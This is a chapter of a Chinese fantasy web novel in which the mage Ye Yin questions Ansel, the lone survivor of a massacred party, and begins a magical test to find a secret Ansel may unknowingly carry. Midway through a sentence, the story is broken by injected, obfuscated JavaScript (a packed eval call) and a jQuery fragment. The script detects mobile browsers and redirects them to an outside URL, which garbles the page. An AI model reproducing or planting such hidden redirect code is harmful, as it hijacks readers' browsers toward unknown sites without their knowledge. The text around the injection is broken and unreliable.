29. 隐患
作品:《这魔王当不了一点》 安塞尔的存活,只是偶然吗?
其一,据安塞尔所说,队伍的团灭是在极短时间里发生的事,快到他近乎来不及反应。
其二,同样是安塞尔所言,大魔乱潮的武器是一把三段锯,还有尾巴上的鳄鱼之口,然而无论是哪个,安塞尔身上都没有对应的伤痕。
其三,乱潮在如此短的时间里杀死了小队中除了安塞尔以外的所有人,偏偏安塞尔活了下来,并且没有被乱潮亲自追杀,反而只派了捡尸的魔物收场,这才让他捡回一条命。
的确很可疑……叶隐略带冷酷地想着。
但是,还不能就那么下定论。
安塞尔没有被乱潮的武器攻击到——如果那样,他恐怕当场就死了——但他的确因为魔物的追击而重伤濒死,如果不是叶隐下令救人,他已经被运到母巢里去了,结局依然是死,而叶隐一行人的存在,理论上是无法预知的。
而且,与安塞尔交谈的过程中,叶隐全程都开着情绪感知魔法,他可以确定对方没有说谎,除非连魔法都能骗过。
……又或者,连他自己也认为那就是事实。
尤利西斯的神术,和叶隐自己的魔法,都没有查出安塞尔有什么问题,但叶隐相信自己的直觉,安塞尔身上很可能有他们尚未发现、甚至他自己都没有察觉到的秘密。
“你打算怎么做?”尤利西斯问叶隐。
“普通来说,我们已经有所警觉了,等他自己露出马脚比较稳妥。”叶隐摸着下巴,笑了笑,“……不过,既然无论什么情况,我们都有应对的信心,那当然要按我的作风来!”
即使叶隐不觉得安塞尔的秘密能威胁到自己、尤利西斯、希冯中的任何一个……刚玉除外。但无论那秘密是什么,一旦被揭露,安塞尔自己肯定首当其冲,毕竟他原本就是必然要死去的,不管利用了安塞尔的人究竟想做什么,他都没打算让安塞尔活着回去。
一天两夜相处下来,叶隐愈发确信安塞尔是个好小伙。他对牺牲的队友的事如数家珍,即使全员在强敌面前惨败,回忆起队友们的风采时依然是一副溢美之词,还坦白了自己与妹妹是为了父母的病和债务,才冒险参与了如此危险的任务,而且他意识到了,自己不该把被救回来的这条命再随意挥霍掉,决定回到据点后就另寻出路……
这对兄妹的父母已经失去了长女,不该再失去长子了。
叶隐想要保住安塞尔,为此,首先必须确认对方的意志和自己站在同一战线上。
于是,在启程前往公会据点的第三天夜里,叶隐将包括安塞尔在内的所有人召集到身边,光明正大地向安塞尔挑明了自己的想法。
“……我的猜测就是这样,你自己怎么想呢?”叶隐问他。
听完叶隐的话,安塞尔呆若木鸡,脑子一片混乱:“我……”
他身上有没有所谓“秘密”,他自己难道还不清楚吗?难道他自己说了不算吗?但叶隐的质问并非全无道理,他是懂的。
事实上,他心里也隐约觉得哪里不对劲,只是当时的战斗太过惨烈,让他始终没有勇气静下心去回忆。
安塞尔竭力压抑着惊慌和恐惧,努力回想当时的情景——论武力,他在队伍里不是最出众的,那只魔物有不止一次机会杀他,甚至有一次,那疯狂中带着冷酷的眼神都扫到了他身上!可那恐怖的武器自始至终都没有挥向他,他身上仅有的伤是被对方的尾巴甩中胸口造成的,光那一下,就让他彻底失去了战意,匆忙败逃。
安塞尔张了张嘴,话未出口就哽在了喉咙里,不上不下。
非要辩驳的话,也不是找不到理由,但他不想用那样的说辞来搪塞自己的救命恩人。叶隐疑心已起,而回到据点的路途还远着,如果他不能彻底说服所有人,反而将他们激怒,那很可能会被单独丢下,重蹈覆辙。
“我……不知道。”安塞尔颓然地垂下脑袋,抱着头,十指在头发中掐得越来越紧,“我很抱歉,但我真的无法解释!我不知道自己身上有什么特别的……更从来没有想过要害死我的队友!尤其里面还有我的妹妹啊!”
叶隐仔细观察着他的反应,开口道:“我倒不是觉得你队友的死与你有关,因为你描述的那只魔物,我确实认得,你队友身体上的痕迹也并非作伪……所以,有没有一种可能,你的整支小队都被利用了?”
安塞尔的情绪非常糟糕,但他还是尽量按捺着焦虑与叶隐对话:“利用?是谁为了什么目的利用我们?我想不通!”
“我有些猜想,但还没有决定性的证据。”叶隐道,“我把话跟你说开,是因为我相信隐瞒不是你的本意,队伍的遭遇也绝不是你想要的结果。你一定比我们中的任何人都想知道,这一切究竟是怎么一回事,不是吗?”
叶隐表现出来的信任让安塞尔稍微平静了些,他毫不犹豫地道:“当然!请把您的猜想告诉我!不管有多离奇,我都会试着去理解的!”
“嘛,别急,虽然普通的神术和魔法都没检测出问题,但我还有其他手段。查出了证据,才足够有说服力,对吧?”
看到叶隐脸上隐隐挂着的微笑,安塞尔没来由的头皮发麻,结巴道:“其其其他手段?!”
是什么?审讯,洗脑,还是搜魂?啊,最后那个好像是传说……
“别怕,不会伤害到你,大概。”
安塞尔干笑一声,“‘大概’吗……”
叶隐避开了对风险的深入讲述,以免影响安塞尔的心态:“总之,不是现在。我需要一点时间来完善测验的方法,在此期间,我们还是继续赶路吧。”
安塞尔讶然道:“我、我还能继续待在队伍里?”
叶隐拍了拍他的肩膀:“我说过了吧,我相信你。况且,你以为我们是什么人?”
“这倒……也是。”安塞尔露出一个尴尬而不失礼貌的微笑,但叶隐的话确实让他眼中有了光。
的确,这可是勇者一行人啊!——虽然说一天相处下来,安塞尔觉得叶隐反而更像实际上的领队,连勇者尤利西斯都要听他的话,还有那个从来没有和他正面说过话的希冯,也唯叶隐马首是瞻……不过,术业有专攻,法师更是博学的象征,这没什么奇怪的。
叶隐所说的事,他越想越觉得毛骨悚然。万一叶隐的猜想是真的呢?万一他在不知不觉间中了什么陷阱,亦或是成了别人的棋子,继而导致了队伍的团灭呢?……如果是那样的话,他到底都做了些什么啊!他到底该怎么面对逝去的队友们才好……
……不幸中的万幸是,他遇到了勇者小队。他敢相信,即使是那只恐怖的魔物亲至,也不会是勇者的对手,区区一些小手段,还不是兵来将挡、水来土掩?
哪怕以最坏的结果来推测——为了清除隐藏的威胁,他必须去死,那也至少不会波及到勇者小队,因为他们足够强大,不会像牺牲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273730|195463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的队友们一样,唐突地被卷入自己都没有察觉到的事件,凄惨地死去……不然的话,他一万条命也不够赔的。
安塞尔不想轻视自己的生命,尤其妹妹去世的现在,他的双亲还在等他回去啊!但人和人的生命之重的确是有差距的,如果他的存在会影响到勇者小队的任务,那他宁愿去死,也不想作为一只拖油瓶苟活于世。
“……”
叶隐若有所思地看着安塞尔身上逐渐转为血红色的情绪之火,自从他开发出情绪感知魔法以来,这样颜色的火焰还是第一次见。
他想死吗?……不,应该只是做好了死的准备。
不过,叶隐早就决定好了,不会让他死的。
……
天亮后,众人再次开始行进。
在相当一段时间里,一行人都没有和魔物发生任何正面冲突,更没有看到大魔乱潮的影子,也许对方早就离开了?
路途很快进入后半,时间来到第五天夜里。
叶隐找了片空地,示意安塞尔:“来,躺在这里。”
安塞尔顺从地躺下,但还是忍不住道:“那个、叶,能告诉我一下,都要做些什么吗?我有点害怕……”
叶隐活络了一下关节,以流氓蹲的姿势在安塞尔身侧蹲下,竖起两根手指:“我想了两个方案,我们一个个来。”
他从旁边的包里翻出一只略显浑浊的玻璃盒,那是他临时制作的培养皿,里面经过催化繁殖的地衣已经长了一大片,颜色红里透粉。
叶隐摆出一副“这是接下来要用的妙妙工具”的表情,自豪地介绍道:“这和母巢附近的地衣是同种,虽然是直接从野外的地表采集的,但经过催化后,大部分指标已经达到了母巢内部的程度,所以呈现出相似的颜色。”
安塞尔不明所以地听着:“有什么作用吗?”
“首先,我会持续对你的全身展开探测魔法,尤利西斯也会持续使用感知神术,确保不遗漏任何细节。”叶隐说道,“然后,将这地衣剖下一小片,用魔力泡泡包裹起来,输入你的身体。我会持续控制着它,让其在你体内各处尽可能周转,来观察你身体的反应,再进行下一步行动。”
“……会、会有什么反应?”
“我不能确定。”叶隐实诚道,“不过,只要找到问题所在,接下来要做的就很简单了。你的话,什么都不用做,放松就好,不过最好不要睡着,因为你可能会感觉到异样,我们需要你的反馈。”
“我知道了。”安塞尔闭上眼睛,用仿佛将要就义的语气道:“我已经做好准备了,来吧!”
“别担心,我不会让你死的。”
安塞尔忍不住又睁开了眼睛,“真的吗?”
“真的啦。”这可是魔王的承诺呢。
说着,叶隐把青年的眼皮又盖了回去,随后舔了舔嘴唇,“好,准备开工~尤利西斯,来。希冯,你负责警戒,还有看好刚玉,不许让它乱跑。”
安塞尔:“……”真的是真的吗?!
谨慎中带着些许兴奋地,叶隐从地衣上刮下极小的一片,比蚊子腿还要细得多,然后用魔力将其包裹成一个小球,让安塞尔咽了下去。
叶隐对安塞尔的保证是真心的,但兴奋也是货真价实的。他正逐渐从魔法研究中体会到学习的乐趣,而这正潜移默化地扭曲着他对魔法的看法。
接下来,会发生什么呢……他想道。

